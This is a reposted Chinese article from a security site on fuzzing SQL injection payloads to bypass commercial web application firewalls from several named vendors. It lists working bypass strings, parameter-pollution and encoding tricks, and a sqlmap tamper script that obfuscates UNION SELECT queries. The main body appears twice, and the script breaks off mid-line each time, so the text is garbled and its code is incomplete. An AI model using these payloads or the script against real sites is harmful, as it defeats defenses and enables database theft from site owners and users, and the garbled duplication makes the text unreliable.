SQL注入Fuzz Bypass WAF完整记录
广告位API接口通信错误,查看德得广告获取帮助
1' union select null,null,flag,null from flag limit 1 offset 1-- - ------,xxxx-- 2.畸形method(header头中) 某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容。如请求的method名为DOTA,依然会返回GET方法的值,即,可以任意替换GET方法为其它值,但仍能有效工作,但如果waf严格按照GET方法取值,则取不到任何内容 web应用层 1.双重URL编码: 即web应用层在接受到经过服务器层解码后的参数后,又进行了一次URL解码 2.变换请求方式: 在web应用中使用了统一获取参数的方式: 如php里使用$_REQUEST获取参数,但WAF层如果过滤不全则容易bypass,如,waf层过滤了get/post,但没有过滤cookie,而web应用层并不关心参数是否来自cookie urlencode和form-data: POST在提交数据的时候有两种方式,第一种方式是使用urlencode的方式提交,第二种方式是使用form-data的方式提交。当我们在测试的时候,如果发现POST提交的数据被过滤掉了,此时可以考虑使用form-data的方式去提交 hpp asp.net + iis:id=1,2,3 #?str=a%27/&str=/and/&str=/@@version=0-- asp + iis :id=1,2,3 php + apache :id=3 jsp + tomcat :id=1 ``` 这里提供一种针对普通检测的方法,大家可自行发挥。 mysql int型: %20%26%201=1 mysql.php?id=1%20%26%201=1 另外在字符型中 'and'1'='1是不需要加空格的,有时候也可以绕过一些waf判断 0x2 bypasswaf 由于mysql的灵活性,这里以mysql绕过为主,针对各大主流waf厂商进行一个测试,主要测试在线版的,本地就安装了一个360主机卫士。 其中下面的绕过都是以fuzz为主,不考虑web容器的特性,尝试绕过联合查询 -1 union select 1,2,3 from dual 百度云加速bypass union select #filter from dual #not filted select from dual #filter 只需要绕过select即可 使用--+aaaaaa%0a可bypass 360主机卫士bypass 发现%23%0aand%230a1=1 可以绕过and 1=1 限制 最后在union select from的时候却绕不过去 直接使用大字符串来fuzz %23-FUZZ-%0a https://github.com/minimaxir/big-list-of-naughty-strings/blob/master/blns.txt 发现可以成功绕过waf 云锁 union select 如下就可以绕过 http://www.yunsuo.com.cn/download.html?id=1%20union/*!/*!select%201,2,3*/ 转换成multiform/data可轻松绕过 安全狗bypass 直接搞就行了 阿里云 尝试使用自定义变量方式来绕过 @a:=(select @b:=table_namefrom{a information_schema.TABLES }limit 0,1)union select '1',@a @p:=(select)被过滤 fuzz下p参数使用@$:=(select)可以绕过 union select 1被过滤 使用union%23aa%0a/!select--%01%0a/1,@$,3 可以绕过 发现重点就是绕过表名 select 1 from dual 一些常规的方法测试无果 随便fuzz下注释/!数字/却偶然发现有俩个数据包遗漏 ### 0x3 自动化 以360主机卫士为例,编写sqlmap tamper脚本。 正常无waf sqlmap联合查询 开启主机卫士,放到浏览器调试,修改相关payload使其能正常运行。 最后tamper脚本如下: from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces keywords >>> tamper('UNION SELECT id FROM users') '1 union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/ NULL,/*!12345CONCAT*/(0x7170706271,IFNULL(/*!12345CASt(*/COUNT(*) AS CHAR),0x20),0x7171786b71),NULL/*!%23!@%23$%%5e%26%2a()%60~%0afrOm*/INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e AND table_schema=0x73716c696e6a656374-- """ if payload: payload=payload.replace("UNION ALL SELECT","union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/") payload=payload.replace("UNION SELECT","union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/") payload=payload.replace(" FROM ","/*!%23!@%23$%%5e%26%2a()%60~%0afrOm*/") payload=payload.replace("CONCAT","/*!12345CONCAT*/") payload=payload.replace("CAST(","/*!12345CAST(*/") payload=payload.replace("CASE","/*!
1' union select null,null,flag,null from flag limit 1 offset 1-- - ------,xxxx-- 2.畸形method(header头中) 某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容。如请求的method名为DOTA,依然会返回GET方法的值,即,可以任意替换GET方法为其它值,但仍能有效工作,但如果waf严格按照GET方法取值,则取不到任何内容 web应用层 1.双重URL编码: 即web应用层在接受到经过服务器层解码后的参数后,又进行了一次URL解码 2.变换请求方式: 在web应用中使用了统一获取参数的方式: 如php里使用$_REQUEST获取参数,但WAF层如果过滤不全则容易bypass,如,waf层过滤了get/post,但没有过滤cookie,而web应用层并不关心参数是否来自cookie urlencode和form-data: POST在提交数据的时候有两种方式,第一种方式是使用urlencode的方式提交,第二种方式是使用form-data的方式提交。当我们在测试的时候,如果发现POST提交的数据被过滤掉了,此时可以考虑使用form-data的方式去提交 hpp asp.net + iis:id=1,2,3 #?str=a%27/&str=/and/&str=/@@version=0-- asp + iis :id=1,2,3 php + apache :id=3 jsp + tomcat :id=1 ``` 这里提供一种针对普通检测的方法,大家可自行发挥。 mysql int型: %20%26%201=1 mysql.php?id=1%20%26%201=1 另外在字符型中 'and'1'='1是不需要加空格的,有时候也可以绕过一些waf判断 0x2 bypasswaf 由于mysql的灵活性,这里以mysql绕过为主,针对各大主流waf厂商进行一个测试,主要测试在线版的,本地就安装了一个360主机卫士。 其中下面的绕过都是以fuzz为主,不考虑web容器的特性,尝试绕过联合查询 -1 union select 1,2,3 from dual 百度云加速bypass union select #filter from dual #not filted select from dual #filter 只需要绕过select即可 使用--+aaaaaa%0a可bypass 360主机卫士bypass 发现%23%0aand%230a1=1 可以绕过and 1=1 限制 最后在union select from的时候却绕不过去 直接使用大字符串来fuzz %23-FUZZ-%0a https://github.com/minimaxir/big-list-of-naughty-strings/blob/master/blns.txt 发现可以成功绕过waf 云锁 union select 如下就可以绕过 http://www.yunsuo.com.cn/download.html?id=1%20union/*!/*!select%201,2,3*/ 转换成multiform/data可轻松绕过 安全狗bypass 直接搞就行了 阿里云 尝试使用自定义变量方式来绕过 @a:=(select @b:=table_namefrom{a information_schema.TABLES }limit 0,1)union select '1',@a @p:=(select)被过滤 fuzz下p参数使用@$:=(select)可以绕过 union select 1被过滤 使用union%23aa%0a/!select--%01%0a/1,@$,3 可以绕过 发现重点就是绕过表名 select 1 from dual 一些常规的方法测试无果 随便fuzz下注释/!数字/却偶然发现有俩个数据包遗漏 ### 0x3 自动化 以360主机卫士为例,编写sqlmap tamper脚本。 正常无waf sqlmap联合查询 开启主机卫士,放到浏览器调试,修改相关payload使其能正常运行。 最后tamper脚本如下: from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces keywords >>> tamper('UNION SELECT id FROM users') '1 union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/ NULL,/*!12345CONCAT*/(0x7170706271,IFNULL(/*!12345CASt(*/COUNT(*) AS CHAR),0x20),0x7171786b71),NULL/*!%23!@%23$%%5e%26%2a()%60~%0afrOm*/INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e AND table_schema=0x73716c696e6a656374-- """ if payload: payload=payload.replace("UNION ALL SELECT","union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/") payload=payload.replace("UNION SELECT","union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/") payload=payload.replace(" FROM ","/*!%23!@%23$%%5e%26%2a()%60~%0afrOm*/") payload=payload.replace("CONCAT","/*!12345CONCAT*/") payload=payload.replace("CAST(","/*!12345CAST(*/") payload=payload.replace("CASE","/*!。
(责任编辑:wnhack)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。